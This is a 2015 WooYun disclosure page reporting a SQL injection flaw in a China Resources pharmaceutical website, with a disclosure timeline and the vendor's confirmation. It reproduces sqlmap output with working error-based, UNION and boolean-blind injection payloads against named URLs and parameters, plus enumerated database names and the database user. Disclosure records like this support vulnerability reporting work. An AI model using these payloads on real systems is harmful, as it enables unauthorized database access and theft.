当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0136482

漏洞标题:华润医药某站SQL注入漏洞

相关厂商:华润三九医药股份有限公司

漏洞作者: XTT

提交时间:2015-08-24 14:31

修复时间:2015-10-09 11:32

公开时间:2015-10-09 11:32

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-24: 细节已通知厂商并且等待厂商处理中
2015-08-25: 厂商已经确认,细节仅向厂商公开
2015-09-04: 细节向核心白帽子及相关领域专家公开
2015-09-14: 细节向普通白帽子公开
2015-09-24: 细节向实习白帽子公开
2015-10-09: 细节向公众公开

简要描述:

华润医药某站存在SQL注入漏洞

详细说明:

注入点:http://www.wandonganxin.cn/ImgList.aspx?fcol=005


---
Parameter: t_FName (POST)
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: __VIEWSTATE=/wEPDwUKMTA0MTgyMjkyM2RkaLRvq18jFEnW2Qj30SVab8wJEig=&__EVENTVALIDATION=/wEWBALC9dGfBgLiiaaYCQLDuv0QAoznisYGnhRHW5BBspobDC8fi9Fkfy/Xweo=&t_FName=sWPU' AND 6458=CONVERT(INT,(SELECT CHAR(113) CHAR(113) CHAR(118) CHAR(98) CHAR(113) (SELECT (CASE WHEN (6458=6458) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(113) CHAR(112) CHAR(98) CHAR(122) CHAR(113))) AND 'FLDt'='FLDt&t_FPWD=&Button1=%E7%99%BB %E5%BD%95
Type: UNION query
Title: Generic UNION query (NULL) - 4 columns
Payload: __VIEWSTATE=/wEPDwUKMTA0MTgyMjkyM2RkaLRvq18jFEnW2Qj30SVab8wJEig=&__EVENTVALIDATION=/wEWBALC9dGfBgLiiaaYCQLDuv0QAoznisYGnhRHW5BBspobDC8fi9Fkfy/Xweo=&t_FName=sWPU' UNION ALL SELECT NULL,NULL,NULL,CHAR(113) CHAR(113) CHAR(118) CHAR(98) CHAR(113) CHAR(115) CHAR(110) CHAR(122) CHAR(89) CHAR(73) CHAR(118) CHAR(122) CHAR(104) CHAR(75) CHAR(104) CHAR(113) CHAR(112) CHAR(98) CHAR(122) CHAR(113)-- &t_FPWD=&Button1=%E7%99%BB %E5%BD%95
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
sqlmap identified the following injection point(s) with a total of 36 HTTP(s) requests:
---

漏洞证明:

---
Parameter: fcol (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: fcol=004' AND 7653=7653 AND 'NlFN'='NlFN
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: fcol=004' AND 6749=CONVERT(INT,(SELECT CHAR(113)+CHAR(113)+CHAR(98)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (6749=6749) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(107)+CHAR(122)+CHAR(113))) AND 'dhiN'='dhiN
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
available databases [3]:
[*] master
[*] qds0470136_db
[*] tempdb
sqlmap identified the following injection point(s) with a total of 37 HTTP(s) requests:
---
Parameter: fcol (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: fcol=005' AND 7390=7390 AND 'UrFt'='UrFt
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: fcol=005' AND 4554=CONVERT(INT,(SELECT CHAR(113)+CHAR(107)+CHAR(120)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (4554=4554) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(106)+CHAR(107)+CHAR(118)+CHAR(113))) AND 'igYv'='igYv
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP.NET 2.0.50727
back-end DBMS: Microsoft SQL Server 2008
current user: 'qds0470136'


其他注入点一起送上:http://www.wandonganxin.cn/List.aspx?fcol=004

修复方案:

版权声明:转载请注明来源 XTT@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-08-25 11:30

厂商回复:

感谢提交

最新状态:

暂无